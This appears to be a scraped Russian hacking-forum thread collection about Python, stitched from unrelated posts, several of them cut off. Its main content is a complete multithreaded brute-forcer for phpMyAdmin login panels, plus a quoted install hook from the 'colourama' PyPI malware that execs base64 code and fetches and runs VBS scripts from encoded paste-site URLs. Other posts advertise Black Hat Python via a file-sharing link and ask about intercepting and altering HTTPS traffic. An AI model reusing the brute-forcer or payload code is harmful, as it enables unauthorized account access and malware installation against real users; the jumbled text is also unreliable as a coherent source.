if sizeofpayloadonpage >= bytestoread:
buffer = buffer + self.buffer[offset+4: offset+4+bytestoread]
if nextpage == 0:
readflag = False
else:
pagenum = nextpage
buffer = buffer + self.buffer[offset+4: offset+4+sizeofpayloadonpage]
bytestoread = bytestoread - sizeofpayloadonpage
return buffer
def getOnOverflow(self, recordsize, pageTypeFlag):
U = self.PageSize - self.PageReservedSpace
X = U - 35
if pageTypeFlag == 10 or pageTypeFlag == 2:
X = ((U-12)*64//255)-23
P = recordsize
M = ((U-12) * 32//255) - 23
K = M + ((P-M) % (U-4))
onOverflow = 0
if P>X and K<=X:
onOverflow = P-K
if P>X and K>X:
onOverflow = P-M
return onOverflow
def dumpCell(self, cellbuffer):
RecordHeaderSize, vi3 = self.readVarInt(cellbuffer, 0)
x = RecordHeaderSize - vi3
ofc = vi3
offsettodata = RecordHeaderSize
items = []
while x > 0:
serialtype, vi4 = self.readVarInt(cellbuffer, ofc)
item = self.readValueFromCellbuffer(cellbuffer, serialtype, offsettodata)
items.append(item)
ofc = ofc + vi4
x = x - vi4
offsettodata = offsettodata + self.contentSizeBySerialType(serialtype)
return items
def readCell(self, offset, pageTypeFlag):
if pageTypeFlag == 2:
offset = offset + 4
recordsize, vi = self.readVarInt(self.buffer, offset)
rowid, vi2 = 0, 0
if pageTypeFlag == 13:
rowid, vi2 = self.readVarInt(self.buffer, offset+vi)
onOverflow = self.getOnOverflow(recordsize, pageTypeFlag)
onTree = recordsize - onOverflow
buffer = self.buffer[offset+vi+vi2:offset+onTree+vi+vi2]
if onOverflow == 0:
return buffer
if onOverflow > 0:
overflowpagenum = self.unp('>I', offset+onTree+vi+vi2)
buffer = buffer + self.readOverflow(overflowpagenum, onOverflow)
return buffer
def readTable(self, pagenum):
rows = []
offset = self.pageNumToOffset(pagenum)
hdr = 0
if pagenum == 1:
hdr = 100
nCell = self.unp('>H', offset+hdr+3)
pageTypeFlag = self.buffer[offset+hdr]
if pageTypeFlag in [2, 5]:
cellstart = offset+hdr+12
for i in range(0, nCell):
ofst = self.unp('>H', cellstart+(i*2))
child = self.unp('>I',offset + ofst)
rows = rows + self.readTable(child)
if pageTypeFlag == 2:
rows.append(self.dumpCell(self.readCell(offset + ofst, pageTypeFlag)))
child = self.unp('>I', cellstart-4)
rows = rows + self.readTable(child)
if pageTypeFlag in [10, 13]:
cellstart = offset+hdr+8
for i in range(0, nCell):
ofst = self.unp('>H', cellstart+(i*2))
cellbuffer = self.readCell(offset + ofst, pageTypeFlag)
rows.append(self.dumpCell(cellbuffer))
return rows
def dumpDB(self):
master_table = self.readTable(1)
for row in master_table:
print("=====================================")
print(row)
print("=====================================")
rootpage = row[3]
if rootpage > 0:
for trow in self.readTable(rootpage):
print(trow)
if __name__ == "__main__":
db = TinySQlite()
db.loadDB(os.path.dirname(os.path.realpath(__file__)) + '/database.db')
db.dumpDB()
Насколько универсален пайтон в хакинге? Что насчет веб атак, он в этом хорош? Или вообще 0 и нельзя затрагивать?
Год выпуска: 2019
Автор: Марк Лутц
Жанр: Программирование
Издательство: Диалектика
Формат: PDF
Качество: OCR без ошибок
Количество страниц: 830
Описание:
С помощью этой практической книги вы получите всестороннее и глубокое введение в основы языка Python. Будучи основанным на популярном учебном курсе Марка Лутца, обновленное 5-е издание книги поможет вам быстро научиться писать эффективный высококачественный код на Python. Она является идеальным способом начать изучение Python, будь вы новичок в программировании или профессиональный разработчик программного обеспечения на других языках.
hash: d8b9ad02bfb75fe1ae3cc7a07b6624c87182843c
torrent
Всем привет. Недавно я начал изучать Python. За это время посмотрел пару
курсов А-ля "питон с нуля", ознакомился с документацией, написал простой
парсер и небольшого бота в телеге на aiogram.
И возник вопрос: что, собственно, дальше делать? Что изучать, как прокачивать
навыки и на что обратить внимание? Сейчас думаю вот на счет django + через
какое-то время хотелось бы пойти работать в белую
В общем поделитесь, пожалуйста, своими историями, кто и как постигал питон.
P.S. От ссылок на ресурсы с полезной инфой не откажусь ?
Статья носит образовательный характер, мы ни к чему не призываем и не обязываем. Информация представлена исключительно в ознакомительных целях.
Click to expand...
НАЧАЛО
1. Переходим по
ссылке
КЛИКАБЕЛЬНО. Это бесплатный сервис от google, направленный на запуск
нейросетей
2. Нажимаем в правом верхнем углу на кнопку войти и авторизуемся через свой google аккаунт.
3. После этого переходим на основную страницу и кликаем по первому блоку
4. Далее нам нужно загрузить саму нейросеть. Пропускаем 2 блок и переходим к третьему.
Ждем полной загрузки.
Озвучивание текста
Теперь нам нужно грамотно составить текст.
Для того, чтобы нейросеть правильно озвучивала ваш текст, необходимо расставить ударения во всех словах и соблюдать пунктуацию.
Например:
Социальная сеть по сливам REST-ZONE - Не правильно
Click to expand...
Социа+льная +сеть по сли+вам REST+ZONE - правильно!
Click to expand...
После этого вставляем в 3 блок наш текст.
И запускаем нашу нейросеть.
После генерации внизу появиться аудио виджет. Прослушать запись можно, если нажать на треугольник.
Если вас устраивает запись, то переходим к следующему шагу.
Улучшение записи
Тут все предельно просто - выполните оставшиеся блоки.
Далее скачиваем запись кликнув на 3 точки.
Ваше спасибо бро, не нужно, ЛАКИЙ НУЖНЫ чем больше тем ближе я к оргазму ахахах ШУТКА
When it comes to creating powerful and effective hacking tools, Python is the
language of choice for most security analysts. In Black Hat Python, 2nd
Edition, you’ll explore the darker side of Python’s capabilities—writing
network sniffers, stealing email credentials, brute forcing directories,
crafting mutation fuzzers, infecting virtual machines, creating stealthy
trojans, and more.
The second edition of this bestselling hacking book contains code updated for
the latest version of Python 3, as well as new techniques that reflect current
industry best practices. You’ll also find expanded explanations of Python
libraries such as ctypes, struct, lxml, and BeautifulSoup, and dig deeper into
strategies, from splitting bytes to leveraging computer-vision libraries, that
you can apply to future hacking projects.
You’ll learn how to:
• Create a trojan command-and-control using GitHub
• Detect sandboxing and automate common malware tasks, like keylogging and
screenshotting
• Escalate Windows privileges with creative process control
• Use offensive memory forensics tricks to retrieve password hashes and inject
shellcode into a virtual machine
• Extend the popular Burp Suite web-hacking tool
• Abuse Windows COM automation to perform a man-in-the-browser attack
• Exfiltrate data from a network most sneakily
When it comes to offensive security, your ability to create powerful tools on
the fly is indispensable. Learn how with the second edition of Black Hat
Python.
Language: English
Pages: 184
Spoiler: Download
Hidden content for authorized users.
AnonFiles ](https://anonfiles.com/F3jenbHcsf/Black_Hat_Python_Python_Programming_for_Hackers_and_Pentesters_pdf)
anonfiles.com
Нужно перехватывать https трафик и подменять данные.
Хотел сделать через proxy, но подумал что есть другое решение, наткнулся на
либу scapy, но не знаю можно ли на ней по https работать?
Если есть идеи, мысли, решения буду рад!
Заранее спасибо. будут вопросы - уточняйте.
Black Hat Python - перевод на русский язык + оригинал на английском
Hidden content for authorized users.
Вступление
Доброго времени суток, сегодня мы с вами будем писать небольшую программу для брутфорс атаки на панель авторизации, на замечательном языке Python3.
Мы с вами постараемся придерживаться парадигмы ООП в ее самом простом виде, так как поддержка и расширение функционала даже в маленьком приложении без применения этого может стать весьма затруднительным делом.
Так же буду благодарен любой критике от товарищей, которые озвучат свой взгляд на код в целом и возможно помогут его улучшить, доработать.
Давайте посмотрим какие данные от нас ожидает панель входа PhpMyAdmin. Для этого откроем браузер, перейдем по URL-адресу ведущему нас к форме авторизации, откроем в браузере консоль разработчика и попробуем авторизоваться.
Как можем лицезреть, вход не удался, но зато мы получили важные сведения, а именно какой тип запроса, куда и с какими данными он должен быть направлен.
Честно признаться я понадеялся, что все же в ручном режиме смогу угадать пароль и еще совершил несколько неудачных попыток входа в систему, но заметил что параметр "set_session" и "token" меняются каждую попытку, будем решать и эту задачу и хватит лирических отступлений, пора переходить к делу.
Начинаем писать код
Но перед тем как писать код, вначале создадим виртуальное окружение для удобной работы с нашим проектом, как это сделать я рассказывал в этой статье.
Нам понадобятся следующие библиотеки:
Code:Copy to clipboard
beautifulsoup4==4.9.1
bs4==0.0.1
certifi==2020.6.20
chardet==3.0.4
idna==2.10
lxml==4.5.2
requests==2.24.0
soupsieve==2.0.1
urllib3==1.25.9
Устанавливаем их:
Code:Copy to clipboard
pip install requests && pip install bs4 && pip install lxml
Обратите внимание что некоторые библиотеки поддерживаются только в Python3
Для чего они нужны и как мы их будем использовать вы увидите далее.
Теперь нам стоит определиться с архитектурой программы и с тем какие классы будем реализовывать.
Итого у нас получиться 5 классов:
Затем импортируем библиотеки:
Python:Copy to clipboard
import requests
import threading
import argparse
import time # тут скорее декоративна и не обязательна, но будет интересно посмотреть, с какой скоростью наша программа будет брутить.
from bs4 import BeautifulSoup as bs4
Первый раз, первый класс: объявляем класс и так же конструктор, говорим, что на входе этот класс будет принимать некую строковую переменную.
Далее немного библиотеки "requests" в которой говорится, что объект "Session" позволяет сохранять некоторые параметры в запросах и если мы делаем несколько запросов на один и тот же хост, базовое TCP-соединение будет использоваться повторно, что может привести к значительному увеличению производительности. Потом собственно делаем этот самый запрос и получаем исходный код странички куда обращались:
Python:Copy to clipboard
class TargetData:
def __init__(self, php_my_admin_url: str):
self.php_my_admin_url = php_my_admin_url
self.authorization_session = requests.Session()
self.gotten_html = self.authorization_session.get(self.php_my_admin_url)
self.soup = bs4(self.gotten_html.content, 'lxml')
Далее добавим классу два метода, которые будут возвращать нам найденные в
ранее полученном HTML строки, содержащие в себе "token" и "server".
Это может быть дублирующий себя код, но разделить на два метода я решил потому
что:
Python:Copy to clipboard
def get_parse_csrf_token(self) -> str:
csrf_token_value = self.soup.find('input', {'name': 'token'})['value']
return csrf_token_value
def get_parse_server(self) -> str:
server_value = self.soup.find('input', {'name': 'server'})['value']
return server_value
Spoiler: весь класс
Python:Copy to clipboard
class TargetData:
def __init__(self, php_my_admin_url: str):
self.php_my_admin_url = php_my_admin_url
self.authorization_session = requests.Session()
self.gotten_html = self.authorization_session.get(self.php_my_admin_url)
self.soup = bs4(self.gotten_html.content, 'lxml')
def get_parse_csrf_token(self) -> str:
csrf_token_value = self.soup.find('input', {'name': 'token'})['value']
return csrf_token_value
def get_parse_server(self) -> str:
server_value = self.soup.find('input', {'name': 'server'})['value']
return server_value
На этом с первым классом заканчиваем и переходим ко второму, объявляем класс и уже знакомый нам метод конструктора класса который будет принимать три строковых значения, это "url"," user_name" и "user_password".
Наследуем от класса TargetData**,** дабы получить его свойства и методы и передаем ему значение переменной с говорящим названием "php_my_admin_url":
Python:Copy to clipboard
class PhpMyAdminAuthorization(TargetData):
def __init__(self, php_my_admin_url: str, user_name: str, user_password: str):
super().__init__(php_my_admin_url=php_my_admin_url)
self.user_name = user_name
self.user_password = user_password
Теперь добавим этому классу сам метод авторизации в панели Phpmyadmin.
Создаем список с параметрами, сервер и токен берем из методов класса
"TargetData" от которого мы и наследовались, отправляем данные методом пост и
получаем результат, тут все просто:
Python:Copy to clipboard
def login_attempt(self) -> str:
authorization_data = {'pma_username': self.user_name, 'pma_password': self.user_password,
'server': self.get_parse_server(),
'target': 'index.php',
'token': self.get_parse_csrf_token()}
request_authorization = self.authorization_session.post(self.php_my_admin_url, data=authorization_data)
result_authorization = request_authorization.text
return result_authorization
И добавим нашему классу "PhpMyAdminAuthorization" еще один метод, который будет возвращать нам, что же там вернулась в результате попытке авторизации. Этот метод будет возвращать булево значение "True**" **или "False" в зависимости от того, есть ли в результате авторизации строка "Cannot log in to the MySQL server", если нет, то "True" и "False" во всех остальных случаях.
Python:Copy to clipboard
def get_result_authorization(self) -> bool:
is_result_authorization = False
failed_authorization_messages = f"Cannot log in to the MySQL server"
if failed_authorization_messages not in self.login_attempt():
is_result_authorization = True
return is_result_authorization
Python:Copy to clipboard
class PhpMyAdminAuthorization(TargetData):
def __init__(self, php_my_admin_url: str, user_name: str, user_password: str):
super().__init__(php_my_admin_url=php_my_admin_url)
self.user_name = user_name
self.user_password = user_password
def login_attempt(self) -> str:
authorization_data = {'pma_username': self.user_name, 'pma_password': self.user_password,
'server': self.get_parse_server(),
'target': 'index.php',
'token': self.get_parse_csrf_token()}
request_authorization = self.authorization_session.post(self.php_my_admin_url, data=authorization_data)
result_authorization = request_authorization.text
return result_authorization
def get_result_authorization(self) -> bool:
is_result_authorization = False
failed_authorization_messages = f"Cannot log in to the MySQL server"
if failed_authorization_messages not in self.login_attempt():
is_result_authorization = True
return is_result_authorization
Половина дела уже сделана, но теперь нужно будет морально подготовиться, потому что сейчас мы начнем реализовывать самый большой класс, который будет отвечать за взаимодействия пользователя с программой.
Объявляем класс, снова конструктор и куча методов которые инициализируются в конструкторе. Возможно дальше вы поймете меня, но я считаю, что если пользователь может взаимодействовать с приложением, значит он может и что-то в нем сломать. Поэтому я постарался написать хотя-бы немного проверок для тех аргументов, что будет передавать пользователь, давайте теперь пройдемся по этим методам:
Python:Copy to clipboard
class UserArgument:
def __init__(self):
self.user_settings_for_brute_force = argparse.ArgumentParser(
description='Instructions for using the program')
self.add_arguments()
self.brute_force_settings = self.user_settings_for_brute_force.parse_args()
self.target_for_attack = self.brute_force_settings.target
self.check_valid_target_url()
self.username = self.brute_force_settings.username
self.check_valid_password_list()
self.password_list = [str(password).strip('\n') for password in self.brute_force_settings.password_list]
self.number_threads = self.brute_force_settings.rate
self.check_valid_type_rate()
Первый метод у нас "add_arguments()" и он очень прост, добавляет аргументы к объекту "настройки пользователя для брутфорса":
Python:Copy to clipboard
def add_arguments(self):
self.user_settings_for_brute_force.add_argument('-t', '--target', default='http://172.18.12.12/phpmyadmin',
nargs='?',
help='Link to admin panel phpmyadmin '
'format: http://site.ru/phpmyadmin')
self.user_settings_for_brute_force.add_argument('-u', '--username', default='phpmyadmin', nargs='?',
help='Database username.')
self.user_settings_for_brute_force.add_argument('-p', '--password_list', default='10_random_pass', nargs='?',
help='The path to the file with passwords can be either sexual '
'or relative. There must be one password on one line.')
self.user_settings_for_brute_force.add_argument('-r', '--rate', default='10', nargs='?',
help='The number of threads with which the program will start '
'working. The number of streams should not exceed '
'the number of passwords in your password list.')
Следующий метод "check_valid_target_url()" - проверяет является ли указанный пользователем URL-панелью PhpMyAdmin и если нет, заставляет его ввести корректный URL, а затем снова проверяет данные:
Python:Copy to clipboard
def check_valid_target_url(self):
try:
TargetData(self.target_for_attack).get_parse_csrf_token()
except TypeError:
print('\nThi\'s target not phpmyadmin panel\n')
self.target_for_attack = input('Enter the correct url: ')
self.check_valid_target_url()
Далее пытаемся открыть файл пользователя с паролями, если это не удалось - просим указать корректный лист паролей и проверяем его на валидность вновь:
Python:Copy to clipboard
def check_valid_password_list(self):
try:
self.brute_force_settings.password_list = open(f'{self.brute_force_settings.password_list}', 'r',
encoding='utf8')
except FileNotFoundError:
print('\nCould not find file\n')
self.brute_force_settings.password_list = input('Enter the correct path to the file: ')
self.check_valid_password_list()
Третий способ - это у нас проверка на корректность введенных потоков, если это значение состоит не из одних целых чисел или превышает количество паролей в листе, то просим задать этот параметр по новой:
Python:Copy to clipboard
def check_valid_type_rate(self):
if self.number_threads.isdigit() is not True or int(self.number_threads) > len(self.password_list) + 1:
print('\nGiven number of threads, not an integer or entered incorrectly\n')
self.number_threads = input('Enter the correct number of threads: ')
self.check_valid_type_rate()
self.number_threads = int(self.number_threads)
Теперь добавим нашему классу "UserArgument" еще несколько методов, все они возвращают нам те или иные значения:
Python:Copy to clipboard
def get_target_attack(self) -> str:
return self.target_for_attack
def get_username(self) -> str:
return self.username
def get_password_list(self) -> list:
return self.password_list
def get_number_threads(self) -> str:
return self.number_threads
Spoiler: весь класс
Python:Copy to clipboard
class UserArgument:
def __init__(self):
self.user_settings_for_brute_force = argparse.ArgumentParser(
description='Instructions for using the program')
self.add_arguments()
self.brute_force_settings = self.user_settings_for_brute_force.parse_args()
self.target_for_attack = self.brute_force_settings.target
self.check_valid_target_url()
self.username = self.brute_force_settings.username
self.check_valid_password_list()
self.password_list = [str(password).strip('\n') for password in self.brute_force_settings.password_list]
self.number_threads = self.brute_force_settings.rate
self.check_valid_type_rate()
def add_arguments(self):
self.user_settings_for_brute_force.add_argument('-t', '--target', default='http://172.18.12.12/phpmyadmin',
nargs='?',
help='Link to admin panel phpmyadmin '
'format: http://site.ru/phpmyadmin')
self.user_settings_for_brute_force.add_argument('-u', '--username', default='phpmyadmin', nargs='?',
help='Database username.')
self.user_settings_for_brute_force.add_argument('-p', '--password_list', default='10_random_pass', nargs='?',
help='The path to the file with passwords can be either sexual '
'or relative. There must be one password on one line.')
self.user_settings_for_brute_force.add_argument('-r', '--rate', default='10', nargs='?',
help='The number of threads with which the program will start '
'working. The number of streams should not exceed '
'the number of passwords in your password list.')
def check_valid_target_url(self):
try:
TargetData(self.target_for_attack).get_parse_csrf_token()
except TypeError:
print('\nThi\'s target not phpmyadmin panel\n')
self.target_for_attack = input('Enter the correct url: ')
self.check_valid_target_url()
def check_valid_password_list(self):
try:
self.brute_force_settings.password_list = open(f'{self.brute_force_settings.password_list}', 'r',
encoding='utf8')
except FileNotFoundError:
print('\nCould not find file\n')
self.brute_force_settings.password_list = input('Enter the correct path to the file: ')
self.check_valid_password_list()
def check_valid_type_rate(self):
if self.number_threads.isdigit() is not True or int(self.number_threads) > len(self.password_list) + 1:
print('\nGiven number of threads, not an integer or entered incorrectly\n')
self.number_threads = input('Enter the correct number of threads: ')
self.check_valid_type_rate()
self.number_threads = int(self.number_threads)
def get_target_attack(self) -> str:
return self.target_for_attack
def get_username(self) -> str:
return self.username
def get_password_list(self) -> list:
return self.password_list
def get_number_threads(self) -> str:
return self.number_threads
Ух, с этим вроде бы закончили, теперь осталось написать логику самого скприпта
и добавить многопоточности.
Объявляем класс "BruteForceAttack" и в конструктор кладем значение которые нам
вернут методы из "UserArgument":
Python:Copy to clipboard
class BruteForceAttack:
def __init__(self):
self.attack_target = user_setting.get_target_attack()
self.username = user_setting.get_username()
self.passwords_list = user_setting.get_password_list()
Затем напишем метод для цикличной попытки авторизации, этот способ принимает на вход два параметра, о них немного позже.
После замеряем время, а затем запускаем цикл, в котором количество итераций будет равно срезу из "self.passwords_list[от - до]".
В цикле создаем экземпляр класса "PhpMyAdminAuthorization" с параметрами, которые мы получили из класса "UserArgument" и если его метод "get_result_authorization()" вернет нам "True", то мы напечатаем найденные логин с паролем, а так же время, которое потребовалось на брут, если нет, то цикл продолжит свою работу:
Python:Copy to clipboard
def start_attack(self, start_of_list: int, end_of_list: int):
start_time = time.monotonic()
list_one_thread = self.passwords_list[start_of_list:end_of_list]
for password in list_one_thread:
try:
login_attempt_phpmyadmin = PhpMyAdminAuthorization(php_my_admin_url=f'{self.attack_target}/index.php',
user_name=self.username, user_password=password)
if login_attempt_phpmyadmin.get_result_authorization():
print(f'login: {login_attempt_phpmyadmin.user_name} |'
f' password: {login_attempt_phpmyadmin.user_password} ')
print(time.monotonic() - start_time)
except IndexError:
pass
Spoiler: весь класс
Python:Copy to clipboard
class BruteForceAttack:
def __init__(self):
self.attack_target = user_setting.get_target_attack()
self.username = user_setting.get_username()
self.passwords_list = user_setting.get_password_list()
def start_attack(self, start_of_list: int, end_of_list: int):
start_time = time.monotonic()
list_one_thread = self.passwords_list[start_of_list:end_of_list]
for password in list_one_thread:
try:
login_attempt_phpmyadmin = PhpMyAdminAuthorization(php_my_admin_url=f'{self.attack_target}/index.php',
user_name=self.username, user_password=password)
if login_attempt_phpmyadmin.get_result_authorization():
print(f'login: {login_attempt_phpmyadmin.user_name} |'
f' password: {login_attempt_phpmyadmin.user_password} ')
print(time.monotonic() - start_time)
except IndexError:
pass
Остался еще ~~последний~~ (почти) штришок - многопоточность. Объявляем класс
"Threads" и наследуем от класса "Thread" из библиотеки "Threading".
Опять эти свойства, начало и конец листа, для чего же они нам ? Терпение,
скоро все станет понятно:
Python:Copy to clipboard
class Threads(threading.Thread):
def __init__(self, start_of_list, end_of_list):
threading.Thread.__init__(self)
self.start_of_list = start_of_list
self.end_of_list = end_of_list
А пока добавим метод "run()", который будет вызывать класс "BruteForceAttack" экземпляр, которого мы создадим уже скоро:
Python:Copy to clipboard
def run(self):
brute_force_attack.start_attack(self.start_of_list, self.end_of_list)
Spoiler: весь класс
Python:Copy to clipboard
class Threads(threading.Thread):
def __init__(self, start_of_list, end_of_list):
threading.Thread.__init__(self)
self.start_of_list = start_of_list
self.end_of_list = end_of_list
def run(self):
brute_force_attack.start_attack(self.start_of_list, self.end_of_list)
По ходу написания статьи я понял, что стоит добавить еще один класс который
назвал "StartProgram" с методом "main()".
Вот он:
Python:Copy to clipboard
class StartProgram:
def __init__(self):
self.number_threads = int(user_setting.get_number_threads())
self.length_password_list = len(user_setting.get_password_list())
def main(self):
start_list = 0
max_list = self.length_password_list // self.number_threads
for i in range(self.number_threads):
thread = Threads(start_list, max_list)
start_list = max_list
max_list = start_list + self.length_password_list // self.number_threads
thread.start()
А теперь поговорим о тех самых непонятных переменных "start_of_list" и
"end_of_list" из класса "Threads".
В конструкторе класса "StartProgram" мы объявляем две переменные одна из
которых является "integer" значением, которое нам возвращает метод
"get_number_threads()" класса "UserArgument".
А вторая длинной значения которое возвращает его же метод
"get_password_list()"
Дальше в методе "main()" класса "StartProgram" происходит некоторая магия, в
цикле создается экземпляр класса Threads с параметрами 0 и количество паролей
деленное на количество потоков.
Это работает следующим образом, допустим, что у нас в списке паролей 100 строк
и мы запустили программу в 10 потоков, то в первую итерацию цикла метода
"main() Threads" будет запущен с аргументами(0,10) во вторую (10,20) и т.д.
Далее в классе "Threads" будет вызван поток для объекта "brute_force_attack".
Таким образом в первом потоке будут перебираться пароли с 1 строки по 9, а во
втором потоке пароли из списка с 10 по 19 строку и так далее.
Ну и финальный стук по клавиатуре, создаем объекты классов и запускаем программу:
Python:Copy to clipboard
if __name__ == '__main__':
user_setting = UserArgument()
brute_force_attack = BruteForceAttack()
StartProgram().main()
И по традиции весь код целиком:
Spoiler: код
Python:Copy to clipboard
import requests
import threading
import argparse
import time
from bs4 import BeautifulSoup as bs4
class TargetData:
def __init__(self, php_my_admin_url: str):
self.php_my_admin_url = php_my_admin_url
self.authorization_session = requests.Session()
self.gotten_html = self.authorization_session.get(self.php_my_admin_url)
self.soup = bs4(self.gotten_html.content, 'lxml')
def get_parse_csrf_token(self) -> str:
csrf_token_value = self.soup.find('input', {'name': 'token'})['value']
return csrf_token_value
def get_parse_server(self) -> str:
server_value = self.soup.find('input', {'name': 'server'})['value']
return server_value
class PhpMyAdminAuthorization(TargetData):
def __init__(self, php_my_admin_url: str, user_name: str, user_password: str):
super().__init__(php_my_admin_url=php_my_admin_url)
self.user_name = user_name
self.user_password = user_password
def login_attempt(self) -> str:
authorization_data = {'pma_username': self.user_name, 'pma_password': self.user_password,
'server': self.get_parse_server(),
'target': 'index.php',
'token': self.get_parse_csrf_token()}
request_authorization = self.authorization_session.post(self.php_my_admin_url, data=authorization_data)
result_authorization = request_authorization.text
return result_authorization
def get_result_authorization(self) -> bool:
is_result_authorization = False
failed_authorization_messages = f"Cannot log in to the MySQL server"
if failed_authorization_messages not in self.login_attempt():
is_result_authorization = True
return is_result_authorization
class UserArgument:
def __init__(self):
self.user_settings_for_brute_force = argparse.ArgumentParser(
description='Instructions for using the program')
self.add_arguments()
self.brute_force_settings = self.user_settings_for_brute_force.parse_args()
self.target_for_attack = self.brute_force_settings.target
self.check_valid_target_url()
self.username = self.brute_force_settings.username
self.check_valid_password_list()
self.password_list = [str(password).strip('\n') for password in self.brute_force_settings.password_list]
self.number_threads = self.brute_force_settings.rate
self.check_valid_type_rate()
def add_arguments(self):
self.user_settings_for_brute_force.add_argument('-t', '--target', default='http://172.18.12.12/phpmyadmin',
nargs='?',
help='Link to admin panel phpmyadmin '
'format: http://site.ru/phpmyadmin')
self.user_settings_for_brute_force.add_argument('-u', '--username', default='phpmyadmin', nargs='?',
help='Database username.')
self.user_settings_for_brute_force.add_argument('-p', '--password_list', default='10_random_pass', nargs='?',
help='The path to the file with passwords can be either sexual '
'or relative. There must be one password on one line.')
self.user_settings_for_brute_force.add_argument('-r', '--rate', default='10', nargs='?',
help='The number of threads with which the program will start '
'working. The number of streams should not exceed '
'the number of passwords in your password list.')
def check_valid_target_url(self):
try:
TargetData(self.target_for_attack).get_parse_csrf_token()
except TypeError:
print('\nThi\'s target not phpmyadmin panel\n')
self.target_for_attack = input('Enter the correct url: ')
self.check_valid_target_url()
def check_valid_password_list(self):
try:
self.brute_force_settings.password_list = open(f'{self.brute_force_settings.password_list}', 'r',
encoding='utf8')
except FileNotFoundError:
print('\nCould not find file\n')
self.brute_force_settings.password_list = input('Enter the correct path to the file: ')
self.check_valid_password_list()
def check_valid_type_rate(self):
if self.number_threads.isdigit() is not True or int(self.number_threads) > len(self.password_list) + 1:
print('\nGiven number of threads, not an integer or entered incorrectly\n')
self.number_threads = input('Enter the correct number of threads: ')
self.check_valid_type_rate()
self.number_threads = int(self.number_threads)
def get_target_attack(self) -> str:
return self.target_for_attack
def get_username(self) -> str:
return self.username
def get_password_list(self) -> list:
return self.password_list
def get_number_threads(self) -> str:
return self.number_threads
class BruteForceAttack:
def __init__(self):
self.attack_target = user_setting.get_target_attack()
self.username = user_setting.get_username()
self.passwords_list = user_setting.get_password_list()
def start_attack(self, start_of_list: int, end_of_list: int):
start_time = time.monotonic()
list_one_thread = self.passwords_list[start_of_list:end_of_list]
for password in list_one_thread:
try:
login_attempt_phpmyadmin = PhpMyAdminAuthorization(php_my_admin_url=f'{self.attack_target}/index.php',
user_name=self.username, user_password=password)
if login_attempt_phpmyadmin.get_result_authorization():
print(f'login: {login_attempt_phpmyadmin.user_name} |'
f' password: {login_attempt_phpmyadmin.user_password} ')
print(time.monotonic() - start_time)
except IndexError:
pass
class Threads(threading.Thread):
def __init__(self, start_of_list, end_of_list):
threading.Thread.__init__(self)
self.start_of_list = start_of_list
self.end_of_list = end_of_list
def run(self):
brute_force_attack.start_attack(self.start_of_list, self.end_of_list)
class StartProgram:
def __init__(self):
self.number_threads = int(user_setting.get_number_threads())
self.length_password_list = len(user_setting.get_password_list())
def main(self):
start_list = 0
max_list = self.length_password_list // self.number_threads
for i in range(self.number_threads):
thread = Threads(start_list, max_list)
start_list = max_list
max_list = start_list + self.length_password_list // self.number_threads
thread.start()
if __name__ == '__main__':
user_setting = UserArgument()
brute_force_attack = BruteForceAttack()
StartProgram().main()
Заключение и тестирование нашей программы
Программу я протестировал на списках паролей следующей длины 10000 паролей, 1000 паролей и 10 паролей в файле.
Скорость выполнения в рамках локальной сети вы видите на приведенном ниже скриншоте.
Надеюсь, после прочтения данного материала вы узнали что-то новое для себя, чему-то научились и сами стали чуточку лучше.
Буду ждать комментариев.
автор Proxy n1nja
источник codeby.net
Предлагаю выкладывать разные обучающие материалы (курсы, видео, книги) по
Python в одной теме.
Существенно сократит поиск нужного материала.
Начнем.
Коротко о курсе:
• В курсе материал предоставляется последовательно, от самых основ до более
сложной практики, даются только востребованные и актуальные знания.
• Специалисты Python очень востребованы сегодня и на рынке IT постоянно
присутствует множество вакансий для Python-разработчиков.
• Поиск работы для новичков
• Для новичков особенно остро стоит вопрос поиска работы и первых заказов.
• Получите море практики
• Сразу же после прохождения курса полученные навыки и многочисленные
наработки сможете обкатывать «в боевых условиях», нарабатывая практику и
оттачивая свое мастерство.
• Знаний и навыков из видеокурса будет достаточно для того, чтобы сразу же
после прохождения и небольшого периода практики уже брать некоторые заказы на
бирже фриланса или попытать счастья при стажировке в IT-компанию.
Смотреть тут
https://cloud.mail.ru/public/5Gsr/SPPCCqNSF
/del
Появилась задумка , cделать бота-расписание , сам telegrambotapi для меня как
нефиг делать , но с sqlite3 никогда не работал и нихуя не вкурил , перечитав и
пересмотрев кучу материала , мне нужно сделать так , чтобы бот командой /add
добавил задание по определённому предмету и оно висело до какого-то дня недели
(тут я подключил datetime , но я хз как базами данных пользоваться) , бот
умеет опеделять и выводить дату , время , день недели , вопрос к знатокам
написания telegram ботов , кто нить может показать-рассказать как это
делается(повторяюсь , я затупок , который не понял это по маннуалам , а
примерный план того , что я хочу сделать я уже изложил , так что всё более
менее всё понятно(или нет , в душе не знаю)
надеюсь на помощь этого ресурса.
Привет ребята, наткнулся на интерсную прогу суть ее такая, если в clipboard
попадается адрес биткоин кошелька или значение подходящее под адрес, то оно
автоматически заменяется тем, каким мы пожелаем.
Эта штуковина впервые объявилась в PyPI в пакете "colourama". В начале
расскажу, что это и зачем, затем задам вопросы, надеюсь кто-нибудь на них
ответит.
И так изначально в установочнике colourama имеем класс:
Python:Copy to clipboard
class TotallyInnocentClass(install):
def run(self):
exec("Большой длинный хэш base64".decode(base64))
os = platform.system()
req = urllib2.Request('https://grabify.link/blablabla'), headers = {'User-Agent' : os}
texto = urllib2.urlopen( req ).read()
Тут примечательно, что grabify используется, чтобы чекать количество подмен ip
и os жертвы, как я понял.
Дальше мы видим, что исполняется какой-то длинный хэш.
Расшифровав его получаем следующее:
Python:Copy to clipboard
os1 = platform.system()
if os1 == "Windows":
try:
sakdlsdsas = ''.join(
random.choice(string.ascii_uppercase + string.ascii_lowercase + string.digits) for _ in range(5)) + ".vbs"
os.rename('asdDsadad.jpg', "new.vbs")
os.system("wscript new.vbs")
#subprocess.call("wscript new.vbs")
except:
try:
kirito = urllib.request.Request(base64.b64decode("aHR0cHM6Ly9oYXN0ZWJpbi5jb20vcmF3L3RleWl2b3l1ZG8="), headers={'User-Agent': "kitashi_corp"})
asuna = urllib.request.urlopen(kirito).read()
koneki = ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase + string.digits) for _ in range(16)) + ".vbs"
ruyk = open(koneki, "a")
ruyk.write(str(asuna))
ruyk.close()
os.system("wscript %s " % koneki)
except:
try:
kirito = urllib.request.Request(
base64.b64decode("aHR0cHM6Ly9wYXN0ZWJpbi5wbC92aWV3L3Jhdy81ZDc3MzFmNQ=="), headers={'User-Agent': "kitashi_corp"})
asuna = urllib.request.urlopen(kirito).read()
